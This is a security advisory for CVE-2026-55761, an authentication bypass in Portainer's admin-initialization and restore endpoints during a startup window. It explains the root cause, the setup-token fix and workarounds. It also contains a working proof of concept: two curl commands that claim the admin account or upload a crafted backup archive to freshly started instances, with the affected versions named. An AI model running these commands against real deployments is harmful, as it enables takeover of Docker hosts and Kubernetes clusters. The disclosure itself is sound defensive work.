CVE-2026-55761: Portainer Unauthenticated Admin Takeover via Initialization Endpoints
A freshly deployed Portainer instance exposes its admin-creation and database-restore endpoints to anyone on the network for up to five minutes after startup, letting an attacker silently claim full…

The problem
Portainer's /api/users/admin/init and /api/restore endpoints are registered with PublicAccess, bypassing all authentication middleware. They stay open during a five-minute initialization window that re-opens on every restart.
Any unauthenticated attacker who reaches the instance during that window can either POST attacker-controlled credentials directly to /api/users/admin/init and claim the admin account, or POST a crafted backup archive to /api/restore to replace the entire database.
Both paths yield full Portainer admin access with no credentials required.
Proof of concept
A working proof-of-concept for CVE-2026-55761 in github.com/portainer/portainer, with the exact payload below.
# Attack path 1: claim the first admin account directly (simpler, no archive needed)
# Works on any uninitialized Portainer 2.39.0-2.39.3 or 2.40.0-2.42.x within the 5-minute window
curl -s -X POST https://<portainer>:9443/api/users/admin/init \
-H 'Content-Type: application/json' \
-d '{"Username":"admin","Password":"Attacker1234!"}'
# On success: HTTP 200, attacker now owns the Portainer admin account.
# All registered Docker hosts, Kubernetes clusters, and edge agents are compromised.
# Attack path 2: replace the database via the restore endpoint
# Requires a crafted portainer.db inside a valid .tar.gz backup archive
curl -s -X POST https://<portainer>:9443/api/restore \
-F 'file=@attacker_backup.tar.gz'
# The handler calls h.adminMonitor.WasInitialized(), gets false, stops the monitor,
# and unconditionally restores the attacker-supplied archive — no token, no auth.The root cause is CWE-287: the restore handler verified only that the instance was uninitialized, then proceeded unconditionally. The admin-init handler had the same gap. Neither checked any secret shared between the server and the legitimate operator.
The fix (commit 49f1910 on develop, d2b56ef backported to release/2.39) introduced a new security/setuptoken package. On startup, when no admin exists and no --admin-password is configured, Portainer generates a cryptographically random token and logs it. Both handlers now read the X-Setup-Token request header and return 403 Forbidden if it is absent or wrong.
The patch diff created setuptoken.go and updated restore.go, admin_init.go, and both HTTP handler registrations to enforce this check. Operators who pre-provision an admin password at deploy time (--admin-password-file) bypass the token requirement entirely, because the instance is never in the uninitialized state.
The fix
Upgrade to Portainer 2.39.4 (LTS) or 2.43.0 (STS). Both releases gate /api/restore and /api/users/admin/init behind a one-time X-Setup-Token header. As an immediate workaround, start Portainer with --admin-password-file so the instance is never uninitialized, or restrict network access to the Portainer API port until setup is complete.
Reported by um3b0shi.
Related research
- highCVE-2026-35511CVE-2026-35511: Authorizer Zero-Click Account Takeover via OAuth Identity Linking
- critical · 9.1kin-openapi: ValidationHandler Fail-Open Authentication Bypass
- high · 7.7CVE-2026-58423CVE-2026-58423: Gitea LFS SSH Sub-Verb Authentication Bypass
- highCVE-2026-56654CVE-2026-56654: Gitea Privilege Escalation via Access Token Scope Bypass